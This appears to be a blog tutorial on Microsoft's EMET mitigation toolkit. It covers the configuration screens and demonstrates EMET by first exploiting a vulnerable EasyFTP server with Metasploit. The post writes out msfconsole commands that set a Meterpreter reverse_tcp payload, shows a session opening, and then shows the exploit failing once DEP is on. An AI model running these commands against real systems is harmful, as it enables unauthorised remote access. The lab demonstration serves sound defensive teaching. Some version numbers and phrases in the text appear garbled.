Defining the problem
First, we must define the problem before we try to find the solution. The problem with Windows systems is that they can easily be exploited. There are various exploits out there that can exploit the Windows system. This is possible because most of the users don’t apply the security updates and install the required updates, which makes their computer vulnerable. If we forget about the actual vulnerabilities that lie at the heart of the Windows operating system, and focus on the ones specific to custom third-party programs, we have a bigger problem on our hands. Let’s face it, most Windows users are constantly being logged-in as an Administrators, so most of the programs are running with super privileges, meaning an attacker who gains access to the vulnerable machine through some problem will probably be able to do just about anything.
It’s because of the third-party programs and libraries that systems get compromised more often than they normally would. But why are those programs vulnerable? It’s because programmers are not aware of the security implications regarding handling the user input. Some security vulnerabilities are being discovered everyday in new applications, such as SQL injection vulnerabilities, even though they are more than a decade old. If programmers didn’t learn to write secure applications by now, they probably never will – SQL injections will keep popping out like mushrooms in the rain. The same is true for other kinds of vulnerabilities, but the most important of them being the stack and heap overflows, since we’re usually using those to exploit the system.
That is why a different approach is needed to secure the systems from being compromised.
Presenting the solution
Now we can look at EMET, the enhanced mitigation experience toolkit, which can protect our system even when the vulnerability is present. Normally, when the vulnerability is present in Windows kernel, by a third-party software program or some other means, the attacker can exploit it and gain access to the system (in most cases). But when using EMET, the attacker can’t exploit the system even if he knows about the existing vulnerability. In fact, the normally working exploit will be blocked and the attacker won’t be able to gain access to the target machine even though he has a working exploit on his hands.
Let’s present the EMET software program. First, we need to download it from the official Microsoft website accessible at http://www.microsoft.com/en-us/download/details.aspx?id=1677. The
The download link will look something like presented on the picture below:
We can see that the EMET is only 5MB in size and it can do wonders. Right below that there’s an overview about EMET toolkit. Specifically, the following are benefits of using EMET:
1. No source code needed: Until now, several of the available mitigations (such as Data Execution Prevention) have required for an application to be manually opted in and recompiled. EMET changes this by allowing a user to opt in applications without recompilation. This is especially handy for deploying mitigations on software that was written before the mitigations were available and when source code is not available.
2. Highly configurable: EMET provides a higher degree of granularity by allowing mitigations to be individually applied on a per process basis. There is no need to enable an entire product or suite of applications. This is helpful in situations where a process is not compatible with a particular mitigation technology. When that happens, a user can simply turn that mitigation off for that process.
3. Helps harden legacy applications: It’s not uncommon to have a hard dependency on old legacy software that cannot easily be rewritten and needs to be phased out slowly. Unfortunately, this can easily pose a security risk as legacy software is notorious for having security vulnerabilities. While the real solution to this is migrating away from the legacy software, EMET can help manage the risk while this is occurring by making it harder for hackers to exploit vulnerabilities in the legacy software.
4. Ease of use: The policy for system wide mitigations can be seen and configured with EMET’s graphical user interface. There is no need to locate up and decipher registry keys or run platform dependent utilities. With EMET, you can adjust settings with a single consistent interface regardless of the underlying platform.
5. Ongoing improvement: EMET is a living tool designed to be updated as new mitigation technologies become available. This provides a chance for users to try out and benefit from cutting edge mitigations. The release cycle for EMET is also not tied to any product. EMET updates can be made dynamically as soon as new mitigations are ready
We can see that EMET provides quite some benefits. The most notable is the fact that we don’t have to recompile the software with special compiler flags to make it safer. Usually, this is the case, especially with other solutions that can also be used to make the exploitation of the vulnerabilities harder and make users safer. The other very important benefit is that the tool is being actively developed. How many times we’ve seen state of art products sink into oblivion? Well, it has happened a lot, and not just in the computer and information science, but in other areas as well. It’s most important that tools be kept updated, because new security risks are being discovered every day and the tools need to adapt quickly to be able to provide the service they promise.
Let’s present the EMET now. We’ve already mentioned that we need to download it and install it. After that, we’ll be able to start EMET, which should look like this:
On the picture above we can see the EMET graphical user interface. At first, we can see three mitigation techniques, the DEP, SEHOP and ASLR; we won’t go into the details what these mean right now. Right below that we can see a list of processes currently running. The green arrow right above the process list can be used to refresh the list of started processes. There are also two buttons present, one is for configuring the system mitigations and the other is for configuring the application-specific mitigations.
If we click on the “Configure System” button, a new window will pop-up as presented on the picture below:
We can see that we can choose from “Maximum Security Settings” and “Recommended Security Settings” profiles. I guess it’s best to use the recommended profile, except if we’re super paranoid. We can also change the setting of the three mitigations DEP, SEHOP and ASLR. We can choose from the following options for them: Disabled, Application Opt In, Application Opt Out and Always On.
Let’s also take a look at how we can change the application specific mitigations. We must click on the “Configure Apps” and a new window will pop-up as can be seen on the picture below:
We can see that by default, we’re not applying any rules to specific applications. We can add an application by pressing the Add button on the picture above. Once we do that, we will need to select the actual binary program to configure specifically. On the picture below we can see that we’ve selected explorer.exe in the C:WINDOWS directory, which will act as a basis for security mitigations of the explorer.exe process.
Once we’ve selected explorer.exe and pressed the Open button, explorer.exe will be added to the list, which you can see below:
We can see that the explorer.exe was added to the list successfully, and now we’re able to configure it.
EMET in Action
We’ve described what EMET is and does, but we haven’t yet seen it in action. To actually see what EMET can do, we need to first install a vulnerable version of some software and exploit it, like we normally would. Afterwards, we need to start EMET and try to exploit it again to find out that the previously working exploit isn’t working anymore, thanks to EMET.
Let’s install a vulnerable version of an FTP server, EasyFTP 126.96.36.199, which we know is vulnerable. We can check that if we visit the Metasploit web page and search for the “easyftp” keywords. On the picture below is the result of such search, where we can clearly see that the LIST command is vulnerable to stack overflow.
We can find that version of FTP server simply by Googling. After downloading and installing the FTP version, we can quickly confirm that we’re running the vulnerable version by looking at the About button of the FTP server. We can see that on the picture below:
The FTP server is EasyFtp 188.8.131.52 and it has just been started. The next thing is confirming that the exploit bundled in Metasploit actually works and can exploit vulnerability. In our case, we’ll try to load a reverse Meterpreter console just to be sure that the vulnerability can be exploited successfully.
We need to run the following command in msfconsole to run the exploit:
msf > use exploit/windows/ftp/easyftp_list_fixret msf exploit(easyftp_list_fixret) > show payloads msf exploit(easyftp_list_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(easyftp_list_fixret) > set LHOST [MY IP ADDRESS] msf exploit(easyftp_list_fixret) > set RHOST [TARGET IP] msf exploit(easyftp_list_fixret) > exploit
After doing that, a new Meterpreter session will open, like we can see on the output below:
msf > use exploit/windows/ftp/easyftp_list_fixret msf exploit(easyftp_list_fixret) > set RHOST 192.168.1.134 msf exploit(easyftp_list_fixret) > set LHOST 192.168.1.124 msf exploit(easyftp_list_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(easyftp_list_fixret) > exploit [*] Started reverse handler on 192.168.1.124:4444 [*] Prepending fixRet... [*] Adding the payload... [*] Overwriting part of the payload with target address... [*] Sending exploit buffer... [*] Sending stage (752128 bytes) to 192.168.1.134 [*] Meterpreter session 1 opened (192.168.1.124:4444 -> 192.168.1.134:1331)
We can also execute various meterpreter commands once we’ve chosen the session to interact with:
meterpreter > sysinfo Computer : COMPUTER_1 OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : en_US Meterpreter : x86/win32
We can see that we’ve successfully run the sysinfo command and got basic information about the vulnerable system. But that was merely a proof that we can successfully interact with a Meterpreter session.
Let’s not start EMET and enable the DEP protection; if required, we should restart our system, which isn’t a big deal comparing to the things EMET can really do. After the EMET is enabled, its security mitigations, we need to restart the exploit to see whether the system is still vulnerable. We can quickly check by rerunning the exploit command, whose output we can see below:
msf exploit(easyftp_list_fixret) > exploit [*] Started reverse handler on 192.168.1.124:4444 [-] Exploit exception: The connection timed out (192.168.1.134:21). [*] Exploit completed, but no session was created.
We can see that the connection timed out, but if we try to connect to the FTP server via telnet, it works fine, so the FTP server is still up and running. We’ve just seen EMET in effect; it blocked the exploit the Metasploit uses and prevented us to gaining access to the system even though we’re running a vulnerable FTP server.
We’ve seen how EMET can be used to prevent an intruder to gaining access to your computer even when the vulnerability exists on your system. I recommend everything running Windows operating systems to install EMET to be more secure against known attacks, but most importantly, this also makes your system more secure against zero-day exploits that haven’t been discovered yet. By using EMET, we’re protecting ourselves from the worst – an attacker gaining access to our complete system.